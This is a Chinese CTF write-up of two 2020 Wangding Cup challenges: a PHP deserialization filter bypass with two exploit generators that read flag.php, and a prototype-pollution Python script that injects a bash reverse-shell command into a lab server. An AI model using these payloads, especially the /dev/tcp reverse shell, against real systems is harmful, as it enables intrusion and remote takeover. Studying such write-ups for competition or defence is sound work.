网鼎杯 2020 青龙组

AreUSerialz

php 复制代码
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

又是一道反序列化的题目,代码很简单,绕过写,直接读flag.php文件即可,因为你写的内容永远是空的!

php 复制代码
if($this->op === "2")
    $this->op = "1";

强比较直接数字绕过即可!所以主要工作还是在下面这个waf的绕过

php 复制代码
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

我们知道在private和protected的属性被序列化的时候会出现不可见字符,但是在php7.1+的时候就不敏感了,所以我们可以直接在写exp的时候直接改成public即可!

php 复制代码
<?php

class FileHandler {

    public $op=2;
    public $filename='flag.php';
    public $content;
}
$a = new FileHandler();
echo urlencode(serialize($a));
?>

那么如果它php的版本不是php7.1+呢?那么就利用16进制进行绕过!将%00用\00代替,那么这么解析呢?将s改为S即可!

php 复制代码
<?php

class FileHandler {

    protected $op=2;
    protected $filename='flag.php';
    protected $content;
}
$a = new FileHandler();
$b = urlencode(serialize($a));
$b = str_replace('s', 'S', $b);
$b = str_replace('%00','\00',$b);
echo $b;
?>

notes

弹shell就好了

python 复制代码
import requests

r = requests.Session()
url = 'http://5daa3a2b-1248-48de-b563-0421f168055d.node5.buuoj.cn:81'

a=r.post(url + '/edit_note', data={
      'id': '__proto__',
      'author': '/bin/bash -i >&/dev/tcp/ip/port 0>&1',
      'raw': '111'
  })
print(a.status_code,a.text)
b=r.get(url + '/status')
print(b.status_code,b.text)

mvp结算画面!!!

相关推荐
假装多好12310 分钟前
android三方调试几个常用命令
android·1024程序员节·三方,gms
侧耳42912 分钟前
android11禁止安装apk
android·java·1024程序员节
JohnnyDeng941 小时前
ArkTs-Android 与 ArkTS (HarmonyOS) 存储目录全面对比
android·harmonyos·arkts·1024程序员节
2501_915918412 小时前
iOS 26 查看电池容量与健康状态 多工具组合的工程实践
android·ios·小程序·https·uni-app·iphone·webview
limingade2 小时前
手机摄像头如何识别体检的色盲检查图的数字和图案(下)
android·1024程序员节·色盲检查图·手机摄像头识别色盲图案·android识别色盲检测卡·色盲色弱检测卡
文火冰糖的硅基工坊2 小时前
[嵌入式系统-150]:智能机器人(具身智能)内部的嵌入式系统以及各自的功能、硬件架构、操作系统、软件架构
android·linux·算法·ubuntu·机器人·硬件架构
2501_915909063 小时前
iOS 架构设计全解析 从MVC到MVVM与使用 开心上架 跨平台发布 免Mac
android·ios·小程序·https·uni-app·iphone·webview
明道源码4 小时前
Android Studio 创建 Android 模拟器
android·ide·android studio
明道源码4 小时前
Android Studio 使用教程
android·ide·android studio
AH_HH8 小时前
SmartCabinet:基于 Android 的智能储物柜管理系统技术解析
android·kotlin·存储柜